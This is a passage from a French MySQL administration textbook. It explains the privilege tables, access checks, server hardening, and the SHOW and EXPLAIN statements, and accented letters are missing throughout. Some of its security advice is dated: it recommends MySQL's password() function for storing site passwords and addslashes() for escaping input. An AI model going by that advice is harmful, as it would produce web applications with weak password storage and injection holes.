db, tables priv, columns priv et procs priv) stockent les informations des privilges, et cest pour cette raison quon les appelle parfois tables grant. La fonction spcifique de ces tables varie, mais leur utilisation globale reste la mme : dterminer ce que
les utilisateurs ont le droit de faire et ce quils nont pas le droit de faire. Chacune
delles contient deux types de champs : les champs de porte, qui identifient lutilisateur, lhte et une partie dune base de donnes laquelle le privilge fait rfrence, et
les champs de privilges, qui identifient les actions pouvant tre effectues par
lutilisateur en question pour le champ de porte correspondant.
Les tables user et host indiquent si un utilisateur peut se connecter au serveur MySQL et
sil possde des privilges dadministration. Les tables db et host dterminent les bases de
donnes auxquelles lutilisateur peut accder. La table tables priv dtermine les tables
dune base de donnes dont lutilisateur peut se servir, la table columns priv dtermine
les colonnes de ces tables auxquelles il peut accder et la table procs priv indique les
procdures que lutilisateur a le droit dexcuter.

Chapitre 12

Administration MySQL avance

301

La table user
La table user contient les dtails des privilges globaux de lutilisateur. Elle dtermine
si lutilisateur a le droit de se connecter au serveur MySQL et sil possde des privilges globaux, cest--dire des privilges valables pour toutes les bases de donnes du
systme.
Vous pouvez consulter la structure de cette table avec linstruction describe user;.
Le schma de cette table user est prsent dans le Tableau 12.1.
Tableau 12.1 : Le schma de la table user dans la base de donnes mysql

Champ

Type

Host

varchar(60)

User

varchar(16)

Password

char(16)

Select priv

enum(N,Y)

Insert priv

enum(N,Y)

Update priv

enum(N,Y)

Delete priv

enum(N,Y)

Create priv

enum(N,Y)

Drop priv

enum(N,Y)

Reload priv

enum(N,Y)

Shutdown priv

enum(N,Y)

Process priv

enum(N,Y)

File priv

enum(N,Y)

Grant priv

enum(N,Y)

References priv

enum(N,Y)

Index priv

enum(N,Y)

Alter priv

enum(N,Y)

Show db priv

enum(N,Y)

Super priv

enum(N,Y)

Create tmp table priv

enum(N,Y)

Lock tables priv

enum(N,Y)

302

Partie II

Utilisation de MySQL

Tableau 12.1 : Le schma de la table user dans la base de donnes mysql (suite)

Champ

Type

Execute priv

enum(N,Y)

Repl slave priv

enum(N,Y)

Repl client priv

enum(N,Y)

Create view priv

enum(N,Y)

Show view priv

enum(N,Y)

Create routine priv

enum(N,Y)

Alter routine priv

enum(N,Y)

Create user priv

enum(N,Y)

Event priv

enum(N,Y)

Trigger priv

enum(N,Y)

ssl type

enum(,ANY,X509,SPECIFIED)

ssl cipher

blob

x509 issuer

blob

x509 subject

blob

max questions

int(11) unsigned

max updates

int(11) unsigned

max connections

int(11) unsigned

max user connections

int(11) unsigned

Chaque ligne de cette table correspond un ensemble de privilges pour un utilisateur


(User) provenant dun hte (Host) particulier et ayant ouvert une session avec le mot de
passe Password. Ces colonnes (les trois premires) correspondent aux champs de
porte de cette table, puisquils dcrivent la porte des autres champs, appels les
champs de privilges.
Les privilges indiqus dans cette table (et les suivantes) correspondent ceux que nous
avons accords avec GRANT au Chapitre 8. Par exemple, Select priv correspond au
privilge qui permet dexcuter une commande SELECT.
Si un utilisateur possde un privilge particulier, la valeur dans la colonne correspondante est Y. Inversement, cette colonne vaut N sil ne possde pas le privilge.

Chapitre 12

Administration MySQL avance

303

Tous les privilges numrs dans la table user sont globaux, cest--dire quils
sappliquent toutes les bases de donnes du systme (y compris la base de donnes
mysql). Par consquent, les administrateurs possdent gnralement quelques Y dans
ces colonnes, mais la majorit des utilisateurs ne doit possder que des N. Les utilisateurs normaux doivent possder des privilges pour les bases de donnes dont ils
doivent se servir et non pour toutes les tables.
Les tables db et host
La plupart des privilges des utilisateurs normaux sont enregistrs dans les tables db et host.
La table db dtermine les bases de donnes auxquelles les utilisateurs peuvent accder,
ainsi que les htes partir desquels ils peuvent y accder. Les privilges indiqus dans
cette table sont valables pour toutes les bases de donnes dont le nom se trouve dans les
lignes de cette table.
La table host complte les tables user et db. Si un utilisateur doit pouvoir se connecter
une base de donnes partir de plusieurs htes, aucun hte ne sera indiqu pour cet
utilisateur dans la table user ou db. En revanche, cet utilisateur possdera un ensemble
dentres dans la table host, qui permet de prciser les privilges associs chaque
combinaison utilisateur/hte.
Les schmas de ces deux tables sont prsents, respectivement, dans les Tableaux 12.2
et 12.3.
Tableau 12.2 : Le schma de la table db de la base de donnes mysql

Champ

Type

Host

char(60)

Db

char(64)

User

char(16)

Select priv

enum(N,Y)

Insert priv

enum(N,Y)

Update priv

enum(N,Y)

Delete priv

enum(N,Y)

Create priv

enum(N,Y)

Drop priv

enum(N,Y)

Grant priv

enum(N,Y)

304

Partie II

Utilisation de MySQL

Tableau 12.2 : Le schma de la table db de la base de donnes mysql (suite)

Champ

Type

References priv

enum(N,Y)

Index priv

enum(N,Y)

Alter priv

enum(N,Y)

Create tmp tables priv

enum(N,Y)

Lock tables priv

enum(N,Y)

Create view priv

enum(N,Y)

Show view priv

enum(N,Y)

Create routine priv

enum(N,Y)

Alter routine priv

enum(N,Y)

Execute priv

enum(N,Y)

Event priv

enum(N,Y)

Trigger priv

enum(N,Y)

Tableau 12.3 : Le schma de la table host de la base de donnes mysql

Champ

Type

Host

char(60)

Db

char(64)

Select priv

enum(N,Y)

Insert priv

enum(N,Y)

Update priv

enum(N,Y)

Delete priv

enum(N,Y)

Create priv

enum(N,Y)

Drop priv

enum(N,Y)

Grant priv

enum(N,Y)

References priv

enum(N,Y)

Index priv

enum(N,Y)

Chapitre 12

Administration MySQL avance

305

Tableau 12.3 : Le schma de la table host de la base de donnes mysql (suite)

Champ

Type

Alter priv

enum (N,Y)

Create tmp tables priv

enum(N,Y)

Lock tables priv

enum(N,Y)

Create view priv

enum(N,Y)

Show view priv

enum(N,Y)

Create routine priv

enum(N,Y)

Alter routine priv

enum(N,Y)

Execute priv

enum(N,Y)

Trigger priv

enum(N,Y)

Les tables tables_priv, columns_priv et procs_priv


Ces trois tables servent, respectivement, enregistrer les privilges au niveau des
tables, au niveau des colonnes et pour les procdures stockes.
Ces tables ont une structure lgrement diffrente des tables user, db et host. Leurs
schmas sont prsents dans les Tableaux 12.4, 12.5 et 12.6.
Tableau 12.4 : Le schma de la table tables_priv de la base de donnes mysql

Champ

Type

Host

char(60)

Db

char(64)

User

char(16)

Table name

char(60)

Grantor

char(77)

Timestamp

timestamp(14)

Table priv

set(Select, Insert, Update, Delete,


Create, Drop, Grant, References, Index,
Alter, Create View, Show View, Trigger)

Column priv

set(Select, Insert, Update, References)

306

Partie II

Utilisation de MySQL

Tableau 12.5 : Le schma de la table columns_priv de la base de donnes mysql

Champ

Type

Host

char(60)

Db

char(64)

User

char(16)

Table name

char(64)

Column name

char(64)

Timestamp

timestamp(14)

Column priv

set(Select, Insert, Update, References)

Tableau 12.6 : Le schma de la table procs_priv de la base de donnes mysql

Champ

Type

Host

char(60)

Db

char(64)

User

char(16)

Routine name

char(64)

Routine type

enum(FUNCTION, PROCEDURE)

Grantor

char(77)

Proc priv

set(Execute,Alter Routine, Grant)

Timestamp

timestamp(14)

La colonne Grantor des tables tables priv et procs priv contient le nom de lutilisateur qui a fourni ce privilge lutilisateur considr. La colonne Timestamp de ces
trois tables contient la date et lheure courantes au moment o ce privilge a t
accord.
Contrle daccs : utilisation des tables de privilges par MySQL
MySQL se sert des tables des privilges pour dterminer ce quun utilisateur a le droit
de faire. Cette opration seffectue en deux tapes :
1. Vrification de la connexion. Dans cette tape, MySQL vrifie si vous avez le droit
de vous connecter compte tenu des informations de la table user, comme nous
lavons dj vu. Cette authentification prend en compte votre nom dutilisateur,

Chapitre 12

Administration MySQL avance

307

votre nom dhte et votre mot de passe. Si un nom dutilisateur est laiss vide dans
la table user, il correspond tous les utilisateurs. Les noms dhtes peuvent contenir un joker (%) qui peut remplacer lintgralit du champ (dans ce cas, le % correspond tous les htes) ou uniquement une partie du nom dhte (par exemple,
%.tangledweb.com.au correspond tous les htes dont le nom se termine par
.tangledweb.com.au). Si le champ du mot de passe est laiss vide, aucun mot de
passe nest ncessaire. Pour des raisons de scurit, il vaut mieux viter que la table
user contienne une ligne ne contenant aucun nom dutilisateur, aucun mot de passe
et un nom dhte uniquement compos dun joker. Si le nom dhte est vide,
MySQL se rfre la table host afin de trouver une entre user et host correspondante.
2. Vrification des requtes. chaque fois que vous envoyez une requte aprs avoir
tabli une connexion, MySQL vrifie si vous avez le niveau de privilges appropri.
Le systme commence par vrifier les privilges globaux (dans la table user) ; sils
ne sont pas suffisants, il vrifie les tables db et host. Si vous navez toujours pas les
privilges suffisants, MySQL vrifie la table tables priv et enfin la table
columns priv (si lopration implique des procdures stockes, il vrifie la table
procs priv au lieu de ces deux tables).
Mise jour des privilges : quel moment les modifications prennent-elles
effet ?
Le serveur MySQL lit automatiquement les tables des privilges lors de son dmarrage
et lorsque vous excutez des instructions GRANT et REVOKE. Cependant, maintenant que
nous savons o et comment ces privilges sont enregistrs, nous pouvons les modifier
manuellement. Dans ce cas, le serveur MySQL ne remarquera pas que vous les avez
modifis.
Il faut donc indiquer au serveur quune modification est intervenue. Pour cela, vous
disposez de trois techniques. Vous pouvez utiliser la commande :
flush privileges;

linvite de MySQL (vous devez avoir ouvert une session sous le compte dun administrateur). Il sagit de la manire la plus courante pour mettre jour les privilges.
Mais vous pouvez galement utiliser :
mysqladmin flush-privileges

ou :
mysqladmin reload

partir de linvite de commande de votre systme dexploitation.

308

Partie II

Utilisation de MySQL

Aprs cette opration, les niveaux de privilges globaux seront vrifis lors de la
prochaine connexion dun utilisateur. Les privilges de niveau base de donnes
seront vrifis lors de lexcution de la prochaine instruction dutilisation, et les
privilges au niveau des tables et des colonnes le seront lors de la prochaine requte
dutilisateur.

Scuriser une base de donnes MySQL


La scurit est trs importante, en particulier lorsque vous connectez une base de
donnes MySQL votre site web. Dans cette section, nous allons nous intresser aux
prcautions que vous devez prendre afin de protger votre base de donnes.
MySQL du point de vue du systme dexploitation
Sur un systme Unix, il est fortement dconseill dexcuter le serveur MySQL
(mysqld) sous le compte de lutilisateur root. En effet, cela donnerait nimporte quel
utilisateur de MySQL des droits daccs complets en lecture et en criture sur tous les
fichiers du systme. Ce point est particulirement sensible et lon a tendance loublier
un peu trop souvent. Cette erreur a notamment t mise profit pour pirater le site web
dApache (heureusement, les pirates taient amicaux et navaient pour seul but que
damliorer la scurit du site).
Il vaut donc mieux crer un utilisateur MySQL particulier pour lexcution de mysqld.
En outre, il devient alors possible de rendre les rpertoires (dans lesquels les donnes
sont enregistres) accessibles uniquement pour cet utilisateur. Dans de nombreuses
installations, le serveur est configur pour tre excut sous le compte de lutilisateur
mysql avec le groupe mysql.
Idalement, il faut aussi placer votre serveur MySQL derrire un pare-feu. De cette
manire, vous pourrez interrompre les connexions provenant dordinateurs non autoriss. Testez si vous pouvez vous connecter votre serveur depuis lextrieur en passant
par le port 3306, qui est le port par dfaut de MySQL et qui devrait tre bloqu par votre
pare-feu.
Mots de passe
Vrifiez que tous vos utilisateurs possdent des mots de passe (et tout particulirement
root!), que ceux-ci sont bien choisis et quils sont rgulirement modifis, comme
pour les mots de passe de votre systme dexploitation. Il vaut mieux viter les mots de
passe contenant des mots provenant dun dictionnaire et leur prfrer des combinaisons
de lettres et de chiffres.

Chapitre 12

Administration MySQL avance

309

Sil vous faut stocker des mots de passe dans des scripts, assurez-vous que seul lutilisateur dont le mot de passe est enregistr dans un script a le droit de le lire.
Les scripts PHP utiliss pour se connecter la base de donnes ont besoin de connatre
le mot de passe de lutilisateur concern. Il est possible de scuriser cette opration en
plaant le nom dutilisateur et le mot de passe dans un fichier appel, par exemple,
dbconnect.php, puis dinclure celui-ci lorsque vous en avez besoin. Ce fichier doit tre
soigneusement conserv lextrieur de larborescence des documents web et tre
accessible uniquement lutilisateur appropri. Noubliez pas que, si vous placez ces
informations dans un fichier .inc (ou une autre extension) dans larborescence des documents web, vous devez vrifier que votre serveur web sait que ces fichiers doivent tre
interprts comme des fichiers PHP pour quils ne saffichent pas comme du texte brut
dans un navigateur web.
Ne stockez pas les mots de passe en clair dans votre base de donnes. Les mots de passe
MySQL ne sont pas enregistrs de cette manire, mais il arrive souvent que dans le
cadre dapplications web on souhaite enregistrer les noms des comptes utilisateurs et
les mots de passe des membres du site. Vous pouvez chiffrer (de manire non rversible) vos mots de passe avec la fonction password() de MySQL. Si vous utilisez un mot
de passe chiffr dans une clause SELECT (pour ouvrir une session utilisateur), vous
devrez utiliser la mme fonction de chiffrement pour tester le mot de passe saisi par
lutilisateur.
Nous reviendrons sur cette fonctionnalit lorsque nous implmenterons des projets,
dans la Partie 5.
Privilges des utilisateurs
La connaissance du systme de privilges est essentielle. Vous devez donc bien
comprendre ce systme, ainsi que les consquences de certains privilges. Dune
manire gnrale, ne donnez pas plus de droits vos utilisateurs quils en ont rellement
besoin. Pour vous en assurer, vous pouvez examiner les tables de privilges.
Les privilges PROCESS, FILE, SHUTDOWN et RELOAD, notamment, ne doivent tre accords
quaux administrateurs, moins quil ne soit absolument ncessaire de les octroyer un
autre utilisateur. Le privilge PROCESS permet de savoir ce que font les autres utilisateurs et ce quils tapent au clavier, y compris leurs mots de passe. Le privilge FILE
permet de lire et de modifier les fichiers de nimporte quel rpertoire du systme
dexploitation (y compris le fichier /etc/passwd dun systme Unix, par exemple).
Le privilge GRANT doit galement tre accord avec prcaution, puisquil permet aux
utilisateurs de partager leurs privilges avec dautres.

310

Partie II

Utilisation de MySQL

Lorsque vous crez les utilisateurs, assurez-vous de ne leur accorder laccs qu partir
de lordinateur do ils seront censs ouvrir une session. Par exemple, si lun de vos
utilisateurs sappelle jeanne@localhost, tout va bien. En revanche, si cet utilisateur
sappelle simplement jeanne, il pourra ouvrir une session depuis nimporte quel ordinateur et il se peut quelle ne soit pas la jeanne que vous connaissez. Pour la mme
raison, vitez demployer des jokers dans les noms dhtes.
Vous pouvez encore amliorer la scurit de votre systme en utilisant des adresses IP
la place des noms de domaines dans la table host. Cela vous pargnera bien des problmes en cas de piratage de votre DNS ou, plus simplement, en cas derreur. Pour aller
encore plus loin, vous pouvez dmarrer le dmon MySQL avec loption skip name
resolve, qui demande au serveur de ne lire que les adresses IP ou localhost dans les
colonnes contenant des noms dhtes.
Il faut galement empcher les utilisateurs normaux daccder au programme mysqlad
min de votre serveur web. Comme ce programme est excut partir de la ligne de
commande, il peut poser problme au niveau des droits du systme dexploitation.
Problmes relatifs au Web
Le fait de connecter une base de donnes MySQL au Web pose certains problmes de
scurit particuliers.
Il peut tre intressant de crer un utilisateur spcial, rserv aux connexions web. De
cette manire, vous pouvez lui fournir uniquement des privilges minimaux et ne pas
lui accorder, par exemple, les privilges DROP, ALTER ou CREATE. Vous pouvez galement
lui accorder le privilge SELECT seulement sur les tables des catalogues et INSERT
uniquement pour les tables des commandes. Cest, ici aussi, une illustration du principe
de privilges minimaux.
ATTENTION
Nous avons vu au chapitre prcdent comment utiliser les fonctions addslashes() et
stripslashes() de PHP pour se dbarrasser des caractres susceptibles de poser problme
dans les chanes. Il ne faut pas oublier cette tape. Noubliez pas non plus de nettoyer les
donnes que vous envoyez MySQL. Vous vous rappelez peut-tre que nous nous sommes
servis de la fonction doubleval() pour vrifier que les donnes numriques contiennent
rellement des nombres. Il arrive souvent que lon omette cette vrification : on pense
utiliser addslashes(), mais pas toujours vrifier les valeurs numriques.

Toutes les donnes provenant des utilisateurs doivent tre vrifies. Mme si votre
formulaire HTML ne contient que des cases cocher et des boutons radio, une

Chapitre 12

Administration MySQL avance

311

personne malveillante peut trs bien modifier lURL pour tenter de pirater votre script.
Il est galement conseill de vrifier la taille des donnes reues.
Si les utilisateurs saisissent des mots de passe ou des donnes confidentielles destins
tre enregistrs dans votre base de donnes, noubliez pas que ces informations sont
transmises en clair entre le navigateur et le serveur, moins que vous nutilisiez SSL
(Secure Sockets Layer). Nous reviendrons en dtail sur SSL et son utilisation.

Obtenir plus dinformations sur les bases de donnes


Jusqu maintenant, nous nous sommes servis de SHOW et de DESCRIBE pour identifier
les tables dune base de donnes et pour numrer les colonnes de ces tables. Nous
allons prsenter dautres techniques, comme lutilisation de linstruction EXPLAIN, pour
obtenir plus dinformations sur le fonctionnement de SELECT.
Obtenir des informations avec SHOW
Nous avons dj utilis :
show tables;

pour obtenir une liste des tables dune base de donnes.


Linstruction :
show databases;

affiche la liste de toutes les bases de donnes disponibles. Vous pouvez ensuite vous
servir de SHOW TABLES pour obtenir la liste des tables de lune de ces bases :
show tables from livres;

Lorsque vous utilisez SHOW TABLES sans prciser la base de donnes, cette instruction
choisit par dfaut celle qui est en cours dutilisation.
Lorsque vous connaissez les tables, vous pouvez obtenir la liste de leurs colonnes :
show columns from commandes from livres;

Si vous ne prcisez pas la base de donnes, linstruction SHOW COLUMNS choisit par
dfaut la base de donnes en cours dutilisation. Vous pouvez aussi utiliser la convention
base.table :
show columns from livres.commandes;

Une autre variante trs intressante de linstruction SHOW permet dafficher les privilges
dun utilisateur.
Si, par exemple, vous excutez :
show grants for bookorama;

312

Partie II

Utilisation de MySQL

vous obtiendrez la sortie suivante :


+-----------------------------------------------------------------------+
| Grants for bookorama@%
|
+-----------------------------------------------------------------------+
| GRANT USAGE ON *.* TO bookorama@%
|
| IDENTIFIED BY PASSWORD *1ECE648641438A28E1910D0D7403C5EE9E8B0A85
|
| GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER
|
| ON `livres`.* TO bookorama@%
|
+-----------------------------------------------------------------------+

Les instructions GRANT qui saffichent ne sont pas ncessairement celles qui ont t
excutes pour attribuer des privilges un utilisateur particulier, mais sont plutt les
instructions quivalentes qui produiraient le niveau de privilge actuel.
Il existe en fait plus dune trentaine de variantes de linstruction SHOW. Les plus utilises
sont prsentes dans le Tableau 12.7 ; pour en connatre la liste complte, consultez la
section approprie du manuel de MySQL, http://dev.mysql.com/doc/refman/5.1/en/
show.html. Dans le tableau, toutes les occurrences de [like ou where] peuvent tre
remplaces par LIKE motif ou WHERE expression.
Tableau 12.7 : Syntaxe de linstruction SHOW

Variante

Description

SHOW DATABASES [like ou where]

Donne la liste de toutes les bases de donnes disponibles.

SHOW [OPEN] TABLES [FROM


basededonnes] [like ou where]

Donne la liste des tables de la base de donnes en cours


dutilisation ou dans la base de donnes basededonnes.

SHOW [FULL] COLUMNS FROM table


[FROM basededonnes]
[like ou where]

Donne la liste de toutes les colonnes dune table


particulire dans la base de donnes en cours
dutilisation ou partir de la base de donnes indique.
Vous pouvez utiliser SHOW FIELDS au lieu de SHOW
COLUMNS.

SHOW INDEX FROM table [FROM


basededonnes]

Donne les dtails de tous les index dune table


particulire de la base de donnes en cours dutilisation
ou dans la base de donnes appele basededonnes, si
elle est spcifie. Vous pouvez galement utiliser SHOW
KEYS.

SHOW [GLOBAL | SESSION] STATUS


[like ou where]

Donne des informations sur certains lments du systme,


comme le nombre de threads en cours dexcution.
Une clause LIKE permet de choisir les noms de ces
lments. Par exemple, Thread% peut correspondre
Threads cached, Threads connected,
Threads created ou Threads running.

Chapitre 12

Administration MySQL avance

313

Tableau 12.7 : Syntaxe de linstruction SHOW (suite)

Variante

Description

SHOW [GLOBAL | SESSION]


VARIABLES [like ou where]

Affiche les noms et les valeurs des variables systme de


MySQL, comme son numro de version.

SHOW [FULL] PROCESSLIST

Affiche la liste de tous les processus en cours


dexcution dans le systme, cest--dire les requtes en
cours de traitement. La plupart des utilisateurs voient
uniquement leurs threads mais, sils possdent le
privilge PROCESS, ils peuvent galement voir les
processus de tous les utilisateurs, y compris les mots de
passe si ceux-ci sont prciss dans les requtes. Par
dfaut, les requtes sont tronques aprs le centime
caractre. Vous pouvez utiliser le mot-cl facultatif FULL
pour afficher lintgralit des requtes.

SHOW TABLE STATUS [FROM


basededonnes] [like ou where]

Affiche des informations sur chacune des tables de la


base de donnes en cours dutilisation ou sur celles de la
base de donnes basededonnes si elle est indique,
ventuellement avec des jokers. Ces informations
contiennent notamment le type des tables et la date de
leur dernire mise jour.

SHOW GRANTS FOR utilisateur

Affiche les instructions GRANT ncessaires pour donner


lutilisateur son niveau actuel de privilges.

SHOW PRIVILEGES

Affiche les diffrents privilges reconnus par le serveur.

SHOW CREATE DATABASE


basededonnes

Affiche une instruction CREATE DATABASE qui crerait la


base de donnes indique.

SHOW CREATE TABLE nomtable

Affiche une instruction CREATE TABLE qui crerait la


table indique.

SHOW [STORAGE] ENGINES

Affiche les moteurs de stockage disponibles dans


linstallation et indique le moteur de stockage par dfaut
(nous reviendrons sur les moteurs de stockage au
Chapitre 13).

SHOW INNODB STATUS

Affiche des donnes concernant ltat actuel du moteur


de stockage InnoDB.

SHOW WARNINGS [LIMIT [dcalage,] Affiche toutes les erreurs, tous les avertissements et
nombre lignes]
toutes les notifications produites par la dernire

instruction qui a t excute.


SHOW ERRORS [LIMIT [dcalage,]
nombre lignes]

Naffiche que les erreurs produites par la dernire


instruction qui a t excute.

314

Partie II

Utilisation de MySQL

Obtenir des informations sur les colonnes avec DESCRIBE


Outre linstruction SHOW COLUMNS, vous pouvez utiliser linstruction DESCRIBE, qui est
semblable linstruction DESCRIBE dOracle (un autre RDBMS). En voici la syntaxe
principale :
DESCRIBE table [colonne];

Cette instruction fournit des informations sur toutes les colonnes de la table ou sur une
colonne particulire si colonne est prcise. Il est possible de recourir des jokers pour
les noms des colonnes.
Comprendre le fonctionnement des requtes avec EXPLAIN
Linstruction EXPLAIN peut tre utilise de deux manires. Tout dabord, vous pouvez
utiliser :
EXPLAIN table;

Cette instruction renvoie un rsultat comparable celui de DESCRIBE table ou de SHOW


COLUMNS FROM table.
La seconde forme de EXPLAIN, la plus intressante, permet de voir exactement comment
MySQL value une requte SELECT. Pour lutiliser de cette manire, il suffit de placer le
mot-cl EXPLAIN devant une instruction SELECT.
Vous pouvez utiliser linstruction EXPLAIN pour dboguer une requte complexe qui ne
fonctionne pas correctement ou lorsque lexcution dune requte prend trop de temps.
Si vous mettez en uvre des requtes complexes, vous pouvez commencer par tracer
leur fonctionnement avant dexcuter rellement la requte. Grce au rsultat de cette
instruction, vous pouvez mme corriger des requtes et les optimiser, si ncessaire.
Il sagit aussi dun trs bon outil dapprentissage.
Par exemple, essayez dexcuter la requte suivante sur la base de donnes de Book-ORama :
explain
select clients.nom
from clients, commandes, livres_commandes, livres
where clients.idclient = commandes.idclient
and commandes.idcommande = livres_commandes.idcommande
and livres_commandes.isbn = livres.isbn
and livres.titre like %Java%;

Cette requte produit la sortie suivante (notez que nous laffichons sous forme verticale parce que les lignes de la table sont trop larges pour tenir dans ce livre ; vous
pouvez obtenir ce format en faisant terminer votre requte par \G au lieu dun pointvirgule).

Chapitre 12

Administration MySQL avance

315

*************************** 1. row ***************************


id: 1
select_type: SIMPLE
table: commandes
type: ALL
possible_keys: PRIMARY
key: NULL
key_len: NULL
ref: NULL
rows: 4
Extra:
*************************** 2. row ***************************
id: 1
select_type: SIMPLE
table: livres_commandes
type: ref
possible_keys: PRIMARY
key: PRIMARY
key_len: 4
ref: livres.commandes.idcommande
rows: 1
Extra: Using index
*************************** 3. row ***************************
id: 1
select_type: SIMPLE
table: clients
type: ALL
possible_keys: PRIMARY
key: NULL
key_len: NULL
ref: NULL
rows: 3
Extra: Using where; Using join buffer
*************************** 4. row ***************************
id: 1
select_type: SIMPLE
table: livres
type: eq_ref
possible_keys: PRIMARY
key: PRIMARY
key_len: 13
ref: livres.livres_commande.isbn
rows: 1
Extra: Using where

Bien que cette sortie puisse paratre droutante au premier abord, elle se rvle trs
utile. Examinons les colonnes de cette table une une.
La premire colonne, id, fournit lidentifiant de linstruction SELECT dans la requte
laquelle cette ligne se rfre.

316

Partie II

Utilisation de MySQL

La colonne select type explique le type de requte utilis. Lensemble de valeurs


possibles pour cette colonne est prsent dans le Tableau 12.8.
Tableau 12.8 : Valeurs possibles de select_type dans la sortie de EXPLAIN

Type

Description

SIMPLE

Requte SELECT standard, comme dans cet exemple

PRIMARY

Requte externe (premire requte) lorsque lon utilise des sousrequtes ou des unions

UNION

Seconde ou requte suivante dans une union

DEPENDENT UNION

Seconde ou requte suivante dans une union, dpendant de la requte


principale

UNION RESULT

Rsultat dune union

SUBQUERY

Sous-requte interne

DEPENDENT SUBQUERY

Sous-requte interne, dpendant de la requte principale (sousrequte corrle)

DERIVED

Sous-requte utilise dans la clause FROM

UNCACHEABLE SUBQUERY

Sous-requte dont le rsultat ne peut pas tre mis en cache et qui sera
donc rvalue pour chaque ligne

UNCACHEABLE UNION

Seconde ou requte suivante dans une union appartenant sousrequte non cachable

La colonne table numre simplement les tables utilises pour rpondre la requte.
Chaque ligne du rsultat fournit plus dinformations sur la manire dont cette table
particulire est utilise dans la requte. Ici, vous pouvez voir que les tables utilises sont
commandes, livres commandes, clients et livres (ce que vous pouvez dj savoir en
examinant tout simplement la requte).
La colonne type explique comment la table est utilise dans les jointures de la requte.
Le Tableau 12.9 numre les valeurs possibles de cette colonne, de la plus rapide la
plus lente en terme de rapidit dexcution. Cela vous donne une ide du nombre de
lignes qui doivent tre lues dans chaque table pour excuter une requte.
Tableau 12.9 : Les diffrents types de jointures affichs par EXPLAIN

Type

Description

const ou system

La table nest lue quune seule fois. Cela se produit lorsque la table ne
contient quune seule ligne. Le type system est utilis avec les tables
systmes et le type const dans les autres cas.

Chapitre 12

Administration MySQL avance

317

Tableau 12.9 : Les diffrents types de jointures affichs par EXPLAIN (suite)

Type

Description

eq ref

Pour chaque ensemble de lignes provenant des autres tables de la jointure,


une seule ligne est lue dans cette table. Ce type de jointure est utilis
lorsque la jointure se sert de toutes les parties de lindex sur la table et que
lindex est UNIQUE ou quil sagit de la cl primaire.

fulltext

Une jointure sur un index textuel.

ref

Pour chaque ensemble de lignes provenant des autres tables de la jointure,


vous lisez un ensemble de lignes qui correspondent dans cette table. Ce
type de jointure est utilis lorsque la jointure ne peut pas choisir une ligne
unique partir de la condition de jointure, cest--dire lorsque seule une
partie de la cl est utilise dans la jointure, ou si elle nest pas un index
UNIQUE ou une cl primaire.

ref or null

Semblable une requte ref, mais MySQL recherche galement les lignes
NULL (ce type est principalement utilis dans les sous-requtes).

index merge

Une optimisation spcifique, la fusion dindex, a t utilise.

unique subquery

Ce type de jointure sert remplacer ref pour certaines sous-requtes IN


qui ne renvoient quune seule ligne.

index subquery

Ce type de jointure est semblable unique subquery mais est utilis pour
les sous-requtes avec un index non UNIQUE.

range

Pour chaque ensemble de lignes provenant des autres tables de la jointure,


vous lisez un ensemble de lignes de cette table qui appartiennent un
intervalle particulier.

index

Parcours de lindex complet.

ALL

Chaque ligne de la table est traite.

Dans lexemple prcdent, vous pouvez constater quune table est jointe avec eq ref
(livres), quune autre lest avec ref (livres commandes) et que les deux autres
(commandes et clients) sont jointes avec ALL, cest--dire en examinant chaque ligne
de la table.
La colonne rows conserve ces informations : elle contient une estimation approximative
du nombre de lignes de chaque table qui doivent tre parcourues pour effectuer la jointure. Vous pouvez les multiplier entre elles pour obtenir le nombre total de lignes
examines pour effectuer une requte. Ces chiffres doivent tre multiplis puisquune
jointure est comparable un produit des lignes appartenant diffrentes tables. Reportez-vous au Chapitre 10 pour plus de dtails. Noubliez pas quil sagit du nombre de
lignes examines, pas du nombre de lignes renvoyes, et quil sagit seulement dune

318

Partie II

Utilisation de MySQL

estimation : MySQL ne peut pas deviner le rsultat final avant deffectuer rellement la
requte.
Naturellement, plus ce nombre est faible, mieux cest. Pour linstant, notre base de
donnes contient trs peu de donnes mais, lorsque la taille dune base commence
augmenter, une requte de ce genre dmultiplie le temps dexcution. Nous y reviendrons
un peu plus loin dans ce chapitre.
La colonne possible keys fournit la liste des cls que MySQL peut utiliser lors dune
opration de jointure ralise avec la table. Dans ce cas, vous pouvez voir que les cls
possibles sont en fait toutes les cls primaires.
La colonne key correspond soit la cl de la table MySQL utilise, soit NULL si aucune
cl na t employe. Vous remarquerez que, bien quil y ait des cl primaires possibles
pour les tables clients et commandes, aucune na t utilise dans cette requte.
La colonne key len indique la longueur de la cl utilise. Vous pouvez vous en servir
pour savoir si la cl na t utilise que partiellement. Cette information est importante
lorsque des cls sont composes de plusieurs colonnes. Dans le cas prsent, pour lequel
des cls ont t utilises, cest la totalit de la cl qui a t employe.
La colonne ref montre les colonnes utilises avec la cl pour slectionner des lignes
dans la table.
Enfin, la colonne Extra fournit toutes les autres informations concernant la manire
dont la jointure a t effectue. Le Tableau 12.10 numre quelques valeurs que vous
pourrez rencontrer dans cette colonne. Pour disposer de la liste complte, qui contient
plus de quinze possibilits, consultez le manuel de MySQL, http://dev.mysql.com/
doc/refman/5.1/en/using-explain.html.
Tableau 12.10 : Les valeurs possibles de la colonne Extra, qui apparat dans la sortie
de EXPLAIN

Valeur

Signification

Distinct

Une fois la premire ligne correspondante trouve, MySQL cesse de


rechercher des lignes.

Not exists

La requte a t optimise pour se servir de LEFT JOIN.

Range checked for

Pour chaque ligne de lensemble de lignes des autres tables de la


jointure, MySQL tente de trouver le meilleur index utiliser, sil y en a
un.

Using filesort

Il faudra deux passes pour trier les donnes, ce qui prend naturellement
deux fois plus de temps.

Chapitre 12

Administration MySQL avance

319

Tableau 12.10 : Les valeurs possibles de la colonne Extra, qui apparat dans la sortie
de EXPLAIN (suite)

Valeur

Signification

Using index

Toutes les informations de la table proviennent de lindex, cest--dire


que les lignes ne sont en ralit pas examines.

Using join buffer

Les tables sont lues par portions en utilisant le tampon de jointure, puis
les lignes sont extraites de ce tampon pour terminer la requte.

Using temporary

Il faut crer une table temporaire pour excuter cette requte.

Using where

Une clause WHERE est utilise pour slectionner les lignes.

Il existe plusieurs manires de rsoudre les problmes mis en vidence par la sortie de
EXPLAIN.
Tout dabord, vrifiez les types des colonnes et assurez-vous que ce sont les mmes.
Ceci est particulirement valable pour la largeur des colonnes car les index ne peuvent
pas tre utiliss pour associer des colonnes si elles ont des largeurs diffrentes. Vous
pouvez rsoudre ce problme en modifiant le type des colonnes associer ou en intgrant ces informations lors de la conception de votre base de donnes.
